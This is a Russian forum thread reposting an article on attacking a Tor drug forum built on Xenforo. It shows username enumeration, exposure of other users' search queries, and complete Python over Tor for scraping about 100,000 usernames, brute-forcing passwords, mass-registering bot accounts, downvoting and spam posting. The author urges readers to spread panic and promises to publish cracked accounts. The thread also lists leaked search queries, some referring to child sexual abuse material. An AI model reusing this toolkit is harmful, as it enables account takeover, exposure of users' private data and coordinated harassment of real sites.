ПЕНТЕСТИНГ Уязвимости Xenforo


Антоха

Уважаемый пользователь
Форумчанин
Регистрация
26.12.2012
Сообщения
2 780
Репутация
4 652
Оригинальное название темы было: "Нагибаем WayAway. Уязвимости Xenforo". Но не будем светить названиями наркофорумов в заголовке, поэтому сократим до уязвимостей. Статья взята с форума о котором я уже писал ранее:

Итак авторские права соблюдены. Го к прочтению.

Кого нагибаем?!
Wayaway - это форум наркоманов, барыг, спайсов. Зачем-то они перешли в тор. Но
стоит ли это делать, и при этом писать о том, что это защищенный форум, если это далеко не так. В процессе изучения этого жалкого ресурса, мне также довелось найти несколько уязвимостей Xenforo, которые мы собственно и применим для более качественного нагиба.

Кратко о недочетах и логике работы
Xenforo - движок любый многими сайтами, которые проповедуют нарк-тематику. С чего бы это? Они говорят дескать безопасен. Но стоило мне немного покопаться и уже нашлись интересные вещи.

Зайдем на форум -

===№1===
Первым делом нам бы конечно захотелось извлечь логины юзеров. И тут нам Xenforo просто благоволит. У каждого юзера есть профиль и ссылка такого вида - wayawaytcl3k66fl.onion/users/napoletano.137693/

Казалось бы, чтобы узнать логин - нужно знать логин)

Но на самом деле и такая ссылка работает - wayawaytcl3k66fl.onion/users/137693/

Соответственно можно перебирать логины прямо по user_id. Чем не сказка.
К сожалению не все так гладко. Обнаруживается, что если человек ограничил доступ к своему профилю, то мы не сможем попасть на его страницу. Но и тут я нашел небольшую уязвимость. Скажем учетка админа 1, закрыта от просмотра, но стоит нам сделать такой реквест -
И с легкостью виден логин даже закрытого профиля. Осталось всего лишь спарсить их все. Разумеется надо быть залогиненным и это не сложно.

===№2===

Смотрим далее и обнаруживаем еще одну интересную уязвимость касательно поиска.

Делаем поисковый запрос и попадаем на страницу вида -

Казалось бы все хорошо, однако убрав параметры все равно виден запрос. Что если нам поменять айди запроса.

Вуаля и мы можем видеть запросы юзеров, что были ранее. Вот вам например небольшой список запросов на wayaway.

новые контакты
новый телеграмм
курск
новосибирск шишки
екатеренбург
pandabome
новый телеграм
иваново пробы
иваново
trevor
weeds
sitiklad.biz
гроубокс
регистрация
Норильск
ебут детей
Shamarc.biz
детское порно
порно
северный щит
смоленск
telegram
угнан
новые контакты
новый телеграмм
новый телеграм
тюмень
BEST
BEST
фотохостинг
синтез альфа
доктор
фен самара
Sk

===№3===
Немного о регистрации и логине.

На wayway обнаруживается отсутствие всякой капчи. Ведь они надеются на защищенную систему Xenforo. Там действительно несколько напряжные названия полей случайного вида, однако это не в коем случае не помешает нам зарегистрироваться, а также сбрутить логины старых юзеров.

Пишем бота и нагибаем
Функция логина очень проста. Самое веселое,что там были какие-то ограничения по куки, однако стоит добавить в запрос - 'cookie_check':'0' и все проходит. ЭХ!

Код:
def login(self, login, password):
        r = self.s.post(url + "login/login", data = {'login':login,'register':'0','password':password,'cookie_check':'0', 'redirect':url,'_xfToken':''})

        if r.url == url:
            return True
        else:
            return False

С помощью готовой функции логина мы уже можем легко сбрутить учетку юзеров.

Сначала мы собираем ники юзеров. И да это функция должна быть только от незарегистрированного юзера.

Код:
def check1(self,id2):
        r = self.s.get(url + "users/" + str(id2) + "/reputation?positive=1")

        nick = re.findall(u'Репутация: ([^<> ]*)', r.text)[0]

        return nick


def savenicks(login,password):  
    b = bot()
    b.login(login,password)

    for i in range(1,100000):
        try:
            print "work -- " + str(i)
            o = open("wayusers.txt",'a')
            nick = b.check1(i)
            o.write("ID - " + str(i) + ' LOGIN - ' + nick + "\n")
            o.close()
        except:
            pass

И потом перебираем логины, пароли.

Код:
def bruteway():  
    logins = [line.rstrip('\n') for line in open('users.txt')]
    passwords = [line.rstrip('\n') for line in open('passwords.txt')]

    for i in logins:
        b = bot()

        o = open("rezult.txt",'a')

        for j in passwords:
            try:
                print "login -- " + i + " password -- " + i

                if b.login(i,i):
                    o.write(i + ':' + i + "\n")
            except:
                pass

        o.close()

Ниже я опубликовал около 100 тыс логинов wayaway. Брутьте на другие пароли и дано вам будет счастье.

Далее нам нужно немного регистрации. Тут все несколько сложнее. Однако я постарался и сделал все как надо. Нужно ждать 10 секунд, разгадывать случайные и скрытые поля. Но стоит лишь захотеть и все.
И да на момент написания пугливые админы уже закрыли регу на ресурсе. Тем не менее мною было зарегистрировано несколько тысяч юзеров.

Код:
def register(self,login,password):
        r = self.s.get(url + "register")

        #r = self.s.post(url+'login/login', data = {'_xfToken':'','cookie_check':'1','login':login,'redirect':'http://wayawaytcl3k66fl.onion/','register':'1'})



        key = re.findall('reg_key.*value="(.*)"', r.text)[0]
        username = re.findall(u'ctrl_([^">]*).*Имя.*', r.text)[1]

        try:
            custom = re.findall('custom_fields.*value="([^"]*)"', r.text)[0]
        except:
            custom = ''


        timezone = re.findall('TimeZone.*ctrl_([^">]*)', r.text)[0]
        timezone2 = re.findall(u'value="([^"]*).*selected="selected', r.text)[0]
        pass1 = re.findall(u'ctrl_([^">]*).*Пароль.*', r.text)[0]
        pass2 = re.findall(u'ctrl_([^">]*).*Подтверждение пароля.*', r.text)[0]


        #print key,username,timezone,timezone2,pass1,pass2

        sleep(10)

        if custom == '':
            r2 = self.s.post(url + "register/register", data = {'_xfToken':'','agree':'1', 'username':'',"reg_key":key, username:login, pass1:password, pass2:password, timezone:timezone2})
        else:
            r2 = self.s.post(url + "register/register", data = {'_xfToken':'','agree':'1', 'username':'','custom_fields_shown[]':custom, "reg_key":key, username:login, pass1:password, pass2:password, timezone:timezone2})

        if u'Регистрация успешно завершена' in r2.text:
            return True
        else:
            return False

Также давайте поиграем с поиском. И сохраним последние запросы с помощью функций.

Код:
def check2(self,id2):
        r = self.s.get(url + "search/" + str(id2))

        try:
            search = re.findall(u'запросу: ([a-zA-ZА-Яа-я0-9., ]*)', r.text)[0]
        except IndexError:
            search = ''

        return search


def catch_search(num):
    b = bot()

    lt = b.lasts()

    for i in range(0,num):
        lt -= 1

        try:
            st = b.check2(lt)

            if st == '':
                pass
            else:
                print st
        except:
            pass

Какое же веселье без спама!?

Понизим всем постам карму.

Код:
def karma_down(self,id2):
        r = self.s.get(url + 'posts/' + str(id2) + '/add-karma?point=down')

Будем постить и вызывать панику.

Код:
def write(self, url, msg):
        r = self.s.get(url)

        sleep(3)

        last_date = re.findall('last_date.*value="([^"]*)', r.text)[0]
        last_nko = re.findall('last_known_date.*value="([^"]*)', r.text)[0]
        xf = re.findall('_xfToken.*value="([^"]*)', r.text)[0]
        x_resolv = re.findall('_xfRelativeResolver.*value="([^"]*)', r.text)[0]
        at_hash = re.findall('attachment_hash.*value="([^"]*)', r.text)[0]


        zapros = {"_xfRelativeResolver":x_resolv, "_xfToken":xf,
                  "attachment_hash":at_hash, "last_date": last_date,
                  "last_known_date":last_nko, "message_html":'',
                  "message":msg}

        r = self.s.post(url+'add-reply' ,data=zapros)

Ваша цель
Так как регистрация уже закрыта вы можете помочь лишь вручную сея ужас. Старайтесь быть похожими на настоящих юзеров, чтобы вас не забанили и пишите о взломе, можете о сайте - и так далее. Каждый определенный промежуток времени я буду публиковать здесь старые взломанные учетки юзеров. И да не заходите через одну сессию в две учетки иначе обе будут забанены. Перезапустите тор-браузер или используйте несколько инстансов его. Да пребудет с вами сила!!

100 тыс логинов юзеров wayaway -

Весь код.

Код:
#!/usr/bin/env python2
#! coding:utf-8

import socks,socket
import requests, re
from random import randint
from time import sleep
import base64,sys
import random, string

#socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050)
#socket.socket = socks.socksocket

proxy = dict(http='socks5://127.0.0.1:9050',
             https='socks5://127.0.0.1:9050')

url = "http://wayawaytcl3k66fl.onion/"

user_agent = {'User-agent': 'Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1667.0 Safari/537.36'}
#cookie = {'xf_session': 'dfb7a7d06d9affbbcc4c0ebe7c7fdf7f', 'cf_captcha':'82659', 'PHPSESSID':'ru13pub7pp3hr6emkin592gna0'}


class bot():

    def __init__(self):
        self.s = requests.Session()
        self.s.headers = user_agent
        self.s.proxies = proxy

    def login(self, login, password):
        r = self.s.post(url + "login/login", data = {'login':login,'register':'0','password':password,'cookie_check':'0', 'redirect':url,'_xfToken':''})

        if r.url == url:
            return True
        else:
            return False

    def register(self,login,password):
        r = self.s.get(url + "register")

        #r = self.s.post(url+'login/login', data = {'_xfToken':'','cookie_check':'1','login':login,'redirect':'http://wayawaytcl3k66fl.onion/','register':'1'})



        key = re.findall('reg_key.*value="(.*)"', r.text)[0]
        username = re.findall(u'ctrl_([^">]*).*Имя.*', r.text)[1]

        try:
            custom = re.findall('custom_fields.*value="([^"]*)"', r.text)[0]
        except:
            custom = ''


        timezone = re.findall('TimeZone.*ctrl_([^">]*)', r.text)[0]
        timezone2 = re.findall(u'value="([^"]*).*selected="selected', r.text)[0]
        pass1 = re.findall(u'ctrl_([^">]*).*Пароль.*', r.text)[0]
        pass2 = re.findall(u'ctrl_([^">]*).*Подтверждение пароля.*', r.text)[0]


        #print key,username,timezone,timezone2,pass1,pass2

        sleep(10)

        if custom == '':
            r2 = self.s.post(url + "register/register", data = {'_xfToken':'','agree':'1', 'username':'',"reg_key":key, username:login, pass1:password, pass2:password, timezone:timezone2})
        else:
            r2 = self.s.post(url + "register/register", data = {'_xfToken':'','agree':'1', 'username':'','custom_fields_shown[]':custom, "reg_key":key, username:login, pass1:password, pass2:password, timezone:timezone2})

        if u'Регистрация успешно завершена' in r2.text:
            return True
        else:
            return False


    def check1(self,id2):
        r = self.s.get(url + "users/" + str(id2) + "/reputation?positive=1")

        nick = re.findall(u'Репутация: ([^<> ]*)', r.text)[0]

        return nick

    def check2(self,id2):
        r = self.s.get(url + "search/" + str(id2))

        try:
            search = re.findall(u'запросу: ([a-zA-ZА-Яа-я0-9., ]*)', r.text)[0]
        except IndexError:
            search = ''

        return search


    def lasts(self):
        r = self.s.post(url + "search/search", data = {'_xfToken':'','date':'','keywords':"Tester",'users':''})

        print r.url

        return int(re.findall('search/([0-9]*)', r.url)[0])

    def karma_down(self,id2):
        r = self.s.get(url + 'posts/' + str(id2) + '/add-karma?point=down')

    def write(self, url, msg):
        r = self.s.get(url)

        sleep(3)

        last_date = re.findall('last_date.*value="([^"]*)', r.text)[0]
        last_nko = re.findall('last_known_date.*value="([^"]*)', r.text)[0]
        xf = re.findall('_xfToken.*value="([^"]*)', r.text)[0]
        x_resolv = re.findall('_xfRelativeResolver.*value="([^"]*)', r.text)[0]
        at_hash = re.findall('attachment_hash.*value="([^"]*)', r.text)[0]


        zapros = {"_xfRelativeResolver":x_resolv, "_xfToken":xf,
                  "attachment_hash":at_hash, "last_date": last_date,
                  "last_known_date":last_nko, "message_html":'',
                  "message":msg}

        r = self.s.post(url+'add-reply' ,data=zapros)





def passgen():
    return ''.join([random.choice(string.ascii_letters + string.digits) for i in range(random.randint(20, 25))])

def generate(nik, num=10):
    trolls = []

    for i in range(num):
        troll = (nik + str(i), passgen())
        trolls.append(troll)
        print troll[0], troll[1]

    return trolls

def byeway(nik, num=10):
    trolls = generate(nik,num)

    for i in trolls:
        f = open('ways.txt','a')
        try:
            b = bot()
            print "Register now -- " + i[0] + ":" + i[1]
            if b.register(i[0], i[1]):
                f.write(i[0] + ":" + i[1]+ "\n")
        except Exception as exp:
            print exp
            print "Error with small bot"
        f.close()
    print "Bots created very well. Check ways.txt"

def activate(trolls, msgs):
    temp = open(trolls,'r').read().splitlines()
    temp2 = open(msgs,'r').read().splitlines()

    return temp, temp2

def spamway(trolls,msgs,urls):
    bots, lol = activate(trolls,msgs)

    for i in bots:
        login = i.split(':')[0]
        password = i.split(':')[1]

        msg = random.choice(lol)
        print login,password

        b = bot()

        try:
            if b.login(login,password):
                print "Login little bot --- " + login

                for url in urls:
                    if b.write(url,msg):
                        print "Bot now is trolling..."
                        print msg
        except:
            print "Our bot died"



def bruteway():  
    logins = [line.rstrip('\n') for line in open('users.txt')]
    passwords = [line.rstrip('\n') for line in open('passwords.txt')]

    for i in logins:
        b = bot()

        o = open("rezult.txt",'a')

        for j in passwords:
            try:
                print "login -- " + i + " password -- " + i

                if b.login(i,i):
                    o.write(i + ':' + i + "\n")
            except:
                pass

        o.close()

def catch_search(num):
    b = bot()

    lt = b.lasts()

    for i in range(0,num):
        lt -= 1

        try:
            st = b.check2(lt)

            if st == '':
                pass
            else:
                print st
        except:
            pass

def savenicks(login,password):  
    b = bot()
    b.login(login,password)

    for i in range(1,100000):
        try:
            print "work -- " + str(i)
            o = open("wayusers.txt",'a')
            nick = b.check1(i)
            o.write("ID - " + str(i) + ' LOGIN - ' + nick + "\n")
            o.close()
        except:
            pass
 

adammi

гудериан -первобытный
Форумчанин
Регистрация
01.03.2016
Сообщения
114
Репутация
23
хорошая статья а вот как расшифровать что в спойлере
 

X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
6 082
Репутация
8 198
Почитал статью, но не понял в чём уязвимости ?

ИМХО спарсить можно логины у любого паблик движка, про капчу, так нарики что-бы не палить свои айпи отключили сервисы такие как форумстопспам, гугл капчу и т.д.

Также про брут, там вроде блокировка акка будет после пяти переборов...

Хотя может это и не спасает, на офф. форуме разрабы даже уведомление сделали, с просьбой сделать по сложней пароль, или юзать двухфакторку, но т.к. нарики скрывают свой айпи и почту, то скорей-всего двухфакторку не смогут юзать...Отдыхай!!!



хорошая статья а вот как расшифровать что в спойлере
Это ключ pgp шифрование ВАЖНО - Паблик PGP-ключи пользователей Jabber для их идентефикации !
 

adammi

гудериан -первобытный
Форумчанин
Регистрация
01.03.2016
Сообщения
114
Репутация
23
вот это
----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v1

mQENBFfAbb8BCADyWQArRQtZJ+w6TDXJwHcv7l82QxY/hnZtCjpF3t9ypicI0wRX
Az6gBNVFdZiy5obilDHrnMZhShSSsjn71r0FtqI2fFpIyV3FcW8kZCyquizbir4a
bweHHLe5JCEiYxyopeY5+IYEmhu3VaporOrQ2M0RqccSBx3qKmjhk9LywCO1Alz9
ppb/xIl5ah+Lyn/m3JIMVb2ltN86eMrEWVyDpeoGaEKNZDuMJxkqNbNmcx6XDx5/
EihOSieNFuHW6rwPBtgH24GuV64UD9jUzcqghphASwuRCwVrVmU2O3bpLudpYNcT
PVc6zlMr5LdgvDbYAWifdYvCGjH23zozaidzABEBAAG0KWFudG9uIChuZXdwdWJr
ZXkpIDx4LWZpbGVzQHByb3Rvbm1haWwuY2g+iQE4BBMBAgAiBQJXwG2/AhsDBgsJ
CAcDAgYVCAIJCgsEFgIDAQIeAQIXgAAKCRC3hPnnBSzabKIZB/9A257mPp4xHEna
Q78aftMJGlj4zfhEJbYgA6X9BsxqxHYdEUKzv++g4Fsw/xAkJ1DSMZ8zSCRl3hXA
WLl1i21n5SD16ArZabMPTPaBIU+MhpN769Q4X1GefI15uGWc0LzcXGZzgs0WEUmP
ayEHwpIlxXL+21si+LVf1VJW7VBWHxVW0moHo7gkF7yznrgFL/o2BuVcz33LUGe1
1zbhcv5AJQyMIsYzEI2Up4XieCmrQ4e3zTo2alyxQfNRzYGHLwIvmANoretYspKt
OpUg9x7P1Iz+r4rRUckPK8737+7yzEREgd5jOgbyE7/B7Ui95xJkjMF30waWYuD9
21NV672+uQENBFfAbb8BCAC33T8arE4Vwm3F5D2fq4cy4Isga6PmVFgDRyDcBPMW
DL5hI6JVoL2opWba0/06Iu1p/uZvwKoUENC5E3TvgDe29IxoXP/vd2wtSNZkPRyM
bAJTQ5zdK2J5XAfoNlXH8DGG8PYhEPbVq3tpRxsmi9VDiYyfJVT8zk7TnAsxPYFI
tEyMGEl+MJ5KyHqN4jZ3FvDFuXcQVFGgIfxqLxmUQHwOfWXUv1R3+lM1PhzIIHgQ
qraCwSpeeOdyK5AZg1jzasPMcNgWJ2Di6UlhD7UM/GOh5tYRAEqndcfJOUhEweWW
nkAs/Kg2O5yyhrpH9Kks2IrGO3hA2wuX9VnTUdqHLSxpABEBAAGJAR8EGAECAAkF
AlfAbb8CGwwACgkQt4T55wUs2mz15Af/ao5S2OXR4weG28Ywqz/NUiJk+GTYuHC1
BbLtbLKsX2R2JC/3pbl9qp9TPdgLFXUUADAkjKiBu8+7g6FQhegLhYK1+s3unkMg
jTgMrz2ArdqoS0a6+YxXNQXotvRU65ayCx2BiQPALxR9X6xFXpYTpBegU4l68+MI
T7B1y8qSyMv645CzT6rhRKM3YiZbeuQ93r0GwiK1LwR7fL31yDPfWJ4gzp3MISFw
rbRphkbiPMtrGA3JqRami3W7oyFuZ1hcO6oANJHYSjXGLeBgHBrVT3tAplmv07QT
vcHU+nyXSdX60l0zWbTJRAMPKk6rpDnVumbBa2Rol32sv+iCGsQrZg==
=IPRJ
-----END PGP PUBLIC KEY BLOCK-----
 
Верх Низ